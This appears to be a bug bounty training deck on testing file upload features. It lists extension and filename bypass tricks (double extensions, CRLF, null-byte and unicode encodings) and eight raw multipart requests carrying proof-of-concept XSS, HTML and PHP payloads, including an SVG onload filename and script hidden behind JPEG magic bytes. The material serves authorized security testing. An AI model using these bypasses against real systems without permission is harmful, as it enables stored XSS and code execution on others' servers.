



File Upload Bug Hunting Methodology

Become a Successful
Bug Bounty Hunter



FILE UPLOADS – What is it?

- Uploading unintended or malicious files to the application
- .php
- .html
- .svg
- etc.



FILE UPLOADS – Storage

When testing file uploads you may find your file is uploaded to a third party domain, such as `.amazonaws.com` or even `.cloudfront.net`.

This means the file has been stored on an external cloud service and thus the malicious file would not affect your target domain



FILE UPLOADS - Extensions

- try .txt
- try .svg
- try .xml
- try .png
- try .gif
- try .jpg
- try .html
- try .php



FILE UPLOADS – Tests

- Testing content type and file headers
- Testing filenames
- martin.php/.jpg
- Other common characters to try are #, @, ;, \, +, &, `.
- .PhP



FILE UPLOADS – Encodings

URL encoding characters such as Null bytes, %00, New lines, %0d, %0a and tabs, %09, %07

RIGHT CLICK on %0d%0a in the request,
Click Convert Selection and choose URL
Decode



FILE UPLOADS - Example

Example 1

`martin.php/.jpg`

(may save as .php but recognises as .jpg)

Example 2

`martin.html%0d%0a.jpg`

(may save as .html but server sees it as .jpg)



FILE UPLOADS – Example

Test 1 (XSS payload in file name)

```
-----WebKitFormBoundarySrtFN30pCNmqmNz2
```

```
Content-Disposition: form-data; name="file";  
filename="<svg onload=confirm()>martin.jpg"
```

```
Content-Type: image/jpeg
```

```
ÿØÿà
```

```
....
```




FILE UPLOADS – Example

Test 2 (Extension as .jpg but change Content-Type to text/html)

-----WebKitFormBoundaryAxbOlwnrQnLjU1j9

Content-Disposition: form-data; name="imageupload";
filename="martin.jpg"

Content-Type: **text/html**

<html>

<h2>codehere</h2>

</html>



FILE UPLOADS – Example

Test 3 (Leave extension blank and Content-Type: text/html)

```
-----WebKitFormBoundaryAxbOlwnrQnLjU1j9
```

```
Content-Disposition: form-data; name="imageupload";  
filename="martin."
```

```
Content-Type: text/html
```

```
<html>
```

```
<h2>codehere</h2>
```

```
</html>
```



FILE UPLOADS – Example

Test 4 (Extension only)

```
-----WebKitFormBoundaryAxbOlwnrQnLjU1j9
```

```
Content-Disposition: form-data; name="imageupload";  
filename=".html"
```

```
Content-Type: image/png
```

```
<html>HTML code!</html>
```




FILE UPLOADS – Example

Test 5 (Special characters)

```
-----WebKitFormBoundaryAxbOlwnrQnLjU1j9
```

```
Content-Disposition: form-data; name="imageupload";  
filename="martin.jpg#/?&=+\.html"
```

```
Content-Type: image/jpeg
```

```
<html>
```

```
<h2>codehere</h2>
```

```
</html>
```



FILE UPLOADS – Example

Test 6 (Null Bytes)

-----WebKitFormBoundaryAxbOlwnrQnLjU1j9

Content-Disposition: form-data; name="imageupload";
filename="martin.jpg%0d%0a.php"

Content-Type: application/php

<?php echo "oops!"; ?>



FILE UPLOADS – Example

Test 7 (Unicode)

-----WebKitFormBoundaryAxbOlwnrQnLjU1j9

Content-Disposition: form-data; name="imageupload";
filename="martin.jpg%u0025%u0030%u0039.php"

Content-Type: application/php

<?php echo "oops!"; ?>



FILE UPLOADS – Example

Test 8 (Magic Byte)

-----WebKitFormBoundaryoMZOWnpiPkiDc0yV

Content-Disposition: form-data;

name="oauth_application[logo_image_file]";

filename="testing1.jpg"

Content-Type: **text/html**

ÿØÿà

<script>alert(0)</script>



Thank You!

Become a Successful
Bug Bounty Hunter